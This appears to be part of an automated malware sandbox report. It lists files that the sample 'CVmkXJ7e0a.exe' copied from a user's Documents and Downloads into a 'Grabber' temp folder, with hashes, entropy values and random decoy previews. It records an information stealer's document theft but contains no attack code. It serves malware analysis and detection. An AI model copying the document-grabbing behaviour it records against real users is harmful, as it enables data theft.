                                                                                                                                                                          Preview:BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\SUAVTZKNFL\EEGWXUHVUG.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.690299109915258
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
                                                                                                                                                                          MD5:F0D9DE697149ECBC1D88C7EA4841E5BD
                                                                                                                                                                          SHA1:06A2A47C12B3554397AA0C8F483411CAB366947D
                                                                                                                                                                          SHA-256:5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
                                                                                                                                                                          SHA-512:E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\SUAVTZKNFL\EFOYFBOLXA.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.696178193607948
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
                                                                                                                                                                          MD5:960ECA5919CC00E1B4542A6E039F413E
                                                                                                                                                                          SHA1:2079091F1BDF5B543413D549EF9C47C5269659BA
                                                                                                                                                                          SHA-256:A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
                                                                                                                                                                          SHA-512:57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\SUAVTZKNFL\SUAVTZKNFL.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.69422273140364
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
                                                                                                                                                                          MD5:A686C2E2230002C3810CB3638589BF01
                                                                                                                                                                          SHA1:4B764DD14070E52A2AC0458F401CDD5724E714FB
                                                                                                                                                                          SHA-256:38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
                                                                                                                                                                          SHA-512:1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\BJZFPPWAPT.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.704346314649071
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
                                                                                                                                                                          MD5:8B66CD8FCBCEB253D75DB5CDE6291FA2
                                                                                                                                                                          SHA1:6CE0386190B9753849299B268AA7B8D15F9F72E2
                                                                                                                                                                          SHA-256:51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
                                                                                                                                                                          SHA-512:7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\BNAGMGSPLO.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701704028955216
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
                                                                                                                                                                          MD5:5F97B24D9F05FA0379F5E540DA8A05B0
                                                                                                                                                                          SHA1:D4E1A893EFD370529484B46EE2F40595842C849E
                                                                                                                                                                          SHA-256:58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
                                                                                                                                                                          SHA-512:A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\BNAGMGSPLO.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701704028955216
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
                                                                                                                                                                          MD5:5F97B24D9F05FA0379F5E540DA8A05B0
                                                                                                                                                                          SHA1:D4E1A893EFD370529484B46EE2F40595842C849E
                                                                                                                                                                          SHA-256:58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
                                                                                                                                                                          SHA-512:A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\BNAGMGSPLO.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701704028955216
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
                                                                                                                                                                          MD5:5F97B24D9F05FA0379F5E540DA8A05B0
                                                                                                                                                                          SHA1:D4E1A893EFD370529484B46EE2F40595842C849E
                                                                                                                                                                          SHA-256:58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
                                                                                                                                                                          SHA-512:A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\DUUDTUBZFW.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701195573484743
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
                                                                                                                                                                          MD5:2530C45A92F347020337052A8A7D7B00
                                                                                                                                                                          SHA1:7EB2D17587824A2ED8BA10D7C7B05E2180120498
                                                                                                                                                                          SHA-256:8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
                                                                                                                                                                          SHA-512:78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Downloads\DUUDTUBZFW.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701195573484743
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
                                                                                                                                                                          MD5:2530C45A92F347020337052A8A7D7B00
                                                                                                                                                                          SHA1:7EB2D17587824A2ED8BA10D7C7B05E2180120498
                                                                                                                                                                          SHA-256:8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
                                                                                                                                                                          SHA-512:78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
                                                                                                                                                                          Malicious:false
